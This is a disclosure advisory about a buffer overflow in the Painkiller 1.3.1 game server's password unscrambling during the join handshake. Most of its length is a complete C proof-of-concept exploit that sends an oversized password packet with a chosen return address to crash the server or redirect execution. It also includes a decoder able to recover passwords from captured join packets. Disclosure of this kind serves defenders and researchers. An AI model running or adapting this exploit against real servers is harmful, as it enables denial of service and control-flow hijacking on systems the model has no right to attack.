[NT] Painkiller DoS and Limited Code Execution

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  Painkiller DoS and Limited Code Execution
------------------------------------------------------------------------


SUMMARY

 <http://www.painkillergame.com> Painkiller is  a famous FPS game 
developed by People can Fly .

A bug in the unscrambling of the password field when performing a 
handshake against the server can cause a denial of service and may lead to 
a limited code execution issue on the server.

DETAILS

Vulnerable Systems:
 * Painkiller version 1.3.1

The handshake to join a Painkiller server is composed of three packets:
 * A connection request from the client (ID 0x02)
 * A challenge key from the server (ID 0x03) used for the calculation of 
both the Gamespy cd-key authorization string and the password used to 
access protected game servers. An authorization string can be found at  
<http://aluigi.altervista.org/papers/gskey-auth.txt> 
http://aluigi.altervista.org/papers/gskey-auth.txt
 * The client's packet used to join (ID 0x04) and containing its game 
version, the Gamespy CD-Key auth string, the password (if needed) and some 
more information.

The problem is in the password field that is read by both a protected game 
server and an unprotected game server. The password field is encoded using 
a special algorithm and the challenge string received from the server. 
However, when the server tries to "unscramble", or decode, a long password 
field of over 256 characters, some memory zones are overwritten.

A full optimized encoding decoding algorithm is available from  
<http://aluigi.altervista.org/papers/painkiller_pckpwd.h> 
http://aluigi.altervista.org/papers/painkiller_pckpwd.h.

Due to the type of encoding algorithm and the type of the bug, it seems 
impossible to fully execute remote code (at least not easily) because the 
return address can be overwritten only by the bytes allowed in an 
intermediate step of the password decoding, ranging from 0x00 to 0x3f. 
There could be more ways of exploiting this vulnerability but currently 
this is the only way.

Exploit:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
  #include <winsock.h>
  #include "winerr.h"

  #define close closesocket
#else
  #include <unistd.h>
  #include <sys/socket.h>
  #include <sys/types.h>
  #include <arpa/inet.h>
  #include <netdb.h>
#endif



#define VER "0.1"
#define BUFFSZ 2048
#define PORT 3455
#define TIMEOUT 3
#define GAMEVER "1.3"
#define INFO "\xfe\xfd\x00\xDE\xAD\xC0\xDE\xff\xff\xff"
#define CONN "\xff\xff\xff\xff\x02"
#define JOIN1 "\xff\xff\xff\xff\x04" \
          GAMEVER "\0" \
          "105.263" "\0"
#define JOIN2 "\x00\x00\x00\x00" "\xde\xad\xc0\xde"
#define BOOMSZ 548
#define RETBACKOFF 28

#define SENDRECV(x) \
  if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, 
sizeof(peer)) \
   < 0) std_err(); \
  if(timeout(sd) < 0) { \
    fputs("\nError: socket timeout, no answer received\n", stdout); \
    exit(1); \
  } \
  len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
  if(len < 0) std_err(); \
  buff[len] = 0x00;




void show_info(u_char *buff, int len);
u_long check_ret_addr(char *data);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);




int main(int argc, char *argv[]) {
  int sd,
        len;
  u_short port = PORT;
  u_char buff[BUFFSZ + 1],
        *ptr;
  struct sockaddr_in peer;
  u_long ret_addr;


  setbuf(stdout, NULL);

  fputs("\n"
    "Painkiller <= 1.31 code execution bug "VER"\n"
    "by Luigi Auriemma\n"
    "e-mail: aluigi@altervista.org\n"
    "web: http://aluigi.altervista.org\n";
    "\n", stdout);

  if(argc < 3) {
    printf("\n"
      "Usage: %s <ret_addr> <host> [port(%d)]\n"
      "\n"
      " ret_addr is a memory address where you want to point the code 
flow.\n"
      " I have implemented only the ret_addr of the dedicated server 
because the\n"
      " normal game needs a different one, so the dedicated server crashs 
but you can\n"
      " also choose a return address (EIP) while the normal game simply 
crashs.\n"
      " ret_addr is automatically verified by this PoC because only the 
bytes from\n"
      " 0x00 to 0x3f are allowed.\n"
      " If you don't know what to use, insert: 0x32103210 or 0x33333333\n"
      " Some addresses like 0x11111111 instead freeze the server with CPU 
at 100%%\n"
      "\n", argv[0], PORT);
    exit(1);
  }

#ifdef WIN32
  WSADATA wsadata;
  WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

  ret_addr = check_ret_addr(argv[1]);

  if(argc > 3) port = atoi(argv[3]);
  peer.sin_addr.s_addr = resolv(argv[2]);
  peer.sin_port = htons(port);
  peer.sin_family = AF_INET;

  printf("\n"
    "- Target %s:%hu\n"
    "- Real return address: %s\n"
    "- Encoded return address: 0x%08lx\n",
    inet_ntoa(peer.sin_addr),
    port,
    argv[1],
    ret_addr);

  sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  if(sd < 0) std_err();

  fputs("- Request informations:\n", stdout);
  SENDRECV(INFO);
  show_info(buff, len);

  fputs("- Send connection request packet\n", stdout);
  SENDRECV(CONN);
  printf("- Server challenge: %s\n", buff + 5);

  ptr = (u_char *)memcpy(buff, JOIN1, sizeof(JOIN1) - 1) +
    sizeof(JOIN1) - 1;

  ptr = (u_char *)memset(ptr, '0', 72) + 72; // Gamespy key auth
  *ptr++ = 0x00; // key auth delimiter

  ptr = (u_char *)memset(ptr, 'a', BOOMSZ) + BOOMSZ;
  *(u_long *)(ptr - RETBACKOFF) = ret_addr; // dedicated server ret_addr
  *ptr++ = 0x00; // password delimiter

  ptr = (u_char *)memcpy(ptr, JOIN2, sizeof(JOIN2) - 1) +
    sizeof(JOIN2) - 1;

  fputs("- Send BOOM packet with return address overwriting\n", stdout);
  if(sendto(sd, buff, ptr - buff, 0, (struct sockaddr *)&peer, 
sizeof(peer))
   < 0) std_err();
  if(timeout(sd) < 0) {
    fputs("\nServer IS vulnerable!!!\n\n", stdout);
  } else {
    fputs("\nServer doesn't seem to be vulnerable\n\n", stdout);
  }

  close(sd);

  return(0);
}




void show_info(u_char *buff, int len) {
  u_char *p1,
      *p2,
      *limit;
  int nt = 0;

  limit = buff + len;
  p1 = buff + 5;
  while(p1 < limit) {
    p2 = strchr(p1, 0x00);
    if(!p2) break;
    *p2 = 0x00;

    if(!nt) {
      if(p1 == p2) break;
      printf("%30s: ", p1);
      nt++;
    } else {
      printf("%s\n", p1);
      nt = 0;
    }
    p1 = p2 + 1;
  }
  fputc('\n', stdout);
}





u_long check_ret_addr(char *data) {
  u_long ret = 0;
  u_char *retc;
  int tmp,
      i;

  retc = ((u_char *)&ret) + 3;

  if((data[1] == 'x') || (data[1] == 'X')) data += 2;

  if(strlen(data) != 8) {
    fputs("\n"
      "Error: please use a full offset of 4 hex numbers.\n"
      " For example: 0x12341234, 12341234, 00001234, 0x33333333 and so 
on\n"
      "\n", stdout);
    exit(1);
  }

  for(i = 0; i < 4; i++) {
    sscanf(data, "%02x", &tmp);
    if(tmp > 0x3f) {
      printf("\n"
        "Error: the return address cannot contain bytes greater than 0x3f 
(your: 0x%02x).\n"
        " For example 0x12341234 contains 0x12, 0x34, 0x12 and 0x34 that 
are ok.\n"
        " While 0x12345678 is not ok because 0x56 and 0x78 are greater 
than 0x3f\n"
        "\n", tmp);
      exit(1);
    }
    if(tmp <= 9) {
      *retc = tmp + 0x30;
    } else if((tmp >= 0xa) && (tmp <= 0x23)) {
      *retc = tmp + 0x57;
    } else {
      *retc = tmp + 0x1d;
    }
    retc--;
    data += 2;
  }

  return(ret);
}



int timeout(int sock) {
  struct timeval tout;
  fd_set fd_read;
  int err;

  tout.tv_sec = TIMEOUT;
  tout.tv_usec = 0;
  FD_ZERO(&fd_read);
  FD_SET(sock, &fd_read);
  err = select(sock + 1, &fd_read, NULL, NULL, &tout);
  if(err < 0) std_err();
  if(!err) return(-1);
  return(0);
}



u_long resolv(char *host) {
  struct hostent *hp;
  u_long host_ip;

  host_ip = inet_addr(host);
  if(host_ip == INADDR_NONE) {
    hp = gethostbyname(host);
    if(!hp) {
      printf("\nError: Unable to resolv hostname (%s)\n", host);
      exit(1);
    } else host_ip = *(u_long *)hp->h_addr;
  }
  return(host_ip);
}


#ifndef WIN32
  void std_err(void) {
    perror("\nError");
    exit(1);
  }
#endif

painkiller_pckpwd.h:
/*

Painkiller packet's password encoder/decoder 0.1
by Luigi Auriemma
e-mail: aluigi@altervista.org
web: http://aluigi.altervista.org


INTRODUCTION
-===========
When you want to join a password protected game server of Painkiller
(http://www.painkillergame.com) your client sends a packet containing
the packet ID (0x04), your client version, the 72 bytes of the Gamespy
auth key (http://aluigi.altervista.org/papers/gskey-auth.txt) plus a
"strange" text string after it.
This text string is just the password you have used to join and it is
encrypted using the other text string (the server challenge) sent by
the server in its previous packet.
My optimized algorithm is able to decode/encode the password stored in
the packet sent by the client.


HOW TO USE
-=========
The function is an algorithm used for both encoding and decoding
without differences.
It needs only 2 parameters:
- pwd: the client's password stored in the packet
- enc: the server challenge string

Example:
 #include "painkiller_pckpwd.h"

  unsigned char pwd[] = "5mjblOpV8N",
          enc[] = "k7bEv4cGcw";
  painkiller_pckpwd(pwd, enc);
  printf("Password: %s\n", pwd); // the password is "mypassword"


LICENSE
-======
  Copyright 2004 Luigi Auriemma

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation; either version 2 of the License, or
  (at your option) any later version.

  This program is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with this program; if not, write to the Free Software
  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

  http://www.gnu.org/licenses/gpl.txt

*/



void painkiller_pckpwd(unsigned char *pwd, unsigned char *enc) {
  unsigned char buff[64],
          encbuff[64],
          *p1,
          *p2;
  int len,
          i,
          cl,
          dl,
          esi,
          edi;

  p1 = pwd;
  while(1) {
    if((*p1 >= '0') && (*p1 <= '9')) {
      *p1 -= 0x30;
    } else if((*p1 >= 'a') && (*p1 <= 'z')) {
      *p1 -= 0x57;
    } else if((*p1 >= 'A') && (*p1 <= '\\')) {
      *p1 -= 0x1d;
    } else {
      break;
    }
    p1++;
  }
  len = p1 - pwd;

  p1 = buff;
  for(i = 0; i < 64; i++) {
    *p1++ = i;
  }

  p1 = enc;
  p2 = encbuff;
  for(i = 0; i < 64; i++) {
    *p2++ = *p1++;
    if(!*p1) p1 = enc;
  }

  p1 = buff;
  p2 = encbuff;
  for(i = esi = 0; i < 64; i++) {
    cl = *p1;
    esi = (*p2 + cl + esi) & 63;
    *p1++ = buff[esi];
    buff[esi] = cl;
    p2++;
  }

  esi = edi = 0;
  p1 = pwd;
  for(i = 0; i < len; i++) {
    esi = (esi + 1) & 63;
    cl = buff[esi];
    edi = (cl + edi) & 63;
    dl = buff[edi];
    buff[esi] = dl;
    buff[edi] = cl;
    *p1++ ^= buff[(dl + cl) & 63];
  }

  p1 = pwd;
  while(len--) {
    if(*p1 <= 9) {
      *p1 += 0x30;
    } else if((*p1 >= 0xa) && (*p1 <= 0x23)) {
      *p1 += 0x57;
    } else {
      *p1 += 0x1d;
    }
    p1++;
  }
}

winerr.h:
/*
  Header file used for manage errors in Windows
  It support socket and errno too
  (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>

void std_err(void) {
  char *error;

  switch(WSAGetLastError()) {
    case 10004: error = "Interrupted system call"; break;
    case 10009: error = "Bad file number"; break;
    case 10013: error = "Permission denied"; break;
    case 10014: error = "Bad address"; break;
    case 10022: error = "Invalid argument (not bind)"; break;
    case 10024: error = "Too many open files"; break;
    case 10035: error = "Operation would block"; break;
    case 10036: error = "Operation now in progress"; break;
    case 10037: error = "Operation already in progress"; break;
    case 10038: error = "Socket operation on non-socket"; break;
    case 10039: error = "Destination address required"; break;
    case 10040: error = "Message too long"; break;
    case 10041: error = "Protocol wrong type for socket"; break;
    case 10042: error = "Bad protocol option"; break;
    case 10043: error = "Protocol not supported"; break;
    case 10044: error = "Socket type not supported"; break;
    case 10045: error = "Operation not supported on socket"; break;
    case 10046: error = "Protocol family not supported"; break;
    case 10047: error = "Address family not supported by protocol family"; 
break;
    case 10048: error = "Address already in use"; break;
    case 10049: error = "Can't assign requested address"; break;
    case 10050: error = "Network is down"; break;
    case 10051: error = "Network is unreachable"; break;
    case 10052: error = "Net dropped connection or reset"; break;
    case 10053: error = "Software caused connection abort"; break;
    case 10054: error = "Connection reset by peer"; break;
    case 10055: error = "No buffer space available"; break;
    case 10056: error = "Socket is already connected"; break;
    case 10057: error = "Socket is not connected"; break;
    case 10058: error = "Can't send after socket shutdown"; break;
    case 10059: error = "Too many references, can't splice"; break;
    case 10060: error = "Connection timed out"; break;
    case 10061: error = "Connection refused"; break;
    case 10062: error = "Too many levels of symbolic links"; break;
    case 10063: error = "File name too long"; break;
    case 10064: error = "Host is down"; break;
    case 10065: error = "No Route to Host"; break;
    case 10066: error = "Directory not empty"; break;
    case 10067: error = "Too many processes"; break;
    case 10068: error = "Too many users"; break;
    case 10069: error = "Disc Quota Exceeded"; break;
    case 10070: error = "Stale NFS file handle"; break;
    case 10091: error = "Network SubSystem is unavailable"; break;
    case 10092: error = "WINSOCK DLL Version out of range"; break;
    case 10093: error = "Successful WSASTARTUP not yet performed"; break;
    case 10071: error = "Too many levels of remote in path"; break;
    case 11001: error = "Host not found"; break;
    case 11002: error = "Non-Authoritative Host not found"; break;
    case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, 
NOTIMP"; break;
    case 11004: error = "Valid name, no data record of requested type"; 
break;
    default: error = strerror(errno); break;
  }
  fprintf(stderr, "\nError: %s\n", error);
  exit(1);
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.



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